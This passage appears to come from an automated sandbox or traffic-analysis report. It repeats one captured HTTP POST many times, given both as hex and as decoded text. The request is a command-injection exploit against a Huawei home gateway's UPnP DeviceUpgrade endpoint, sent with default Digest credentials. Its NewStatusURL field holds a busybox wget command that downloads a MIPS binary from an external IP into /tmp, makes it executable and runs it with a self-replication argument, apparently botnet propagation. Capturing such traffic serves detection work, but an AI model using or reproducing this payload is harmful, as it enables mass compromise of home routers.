73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 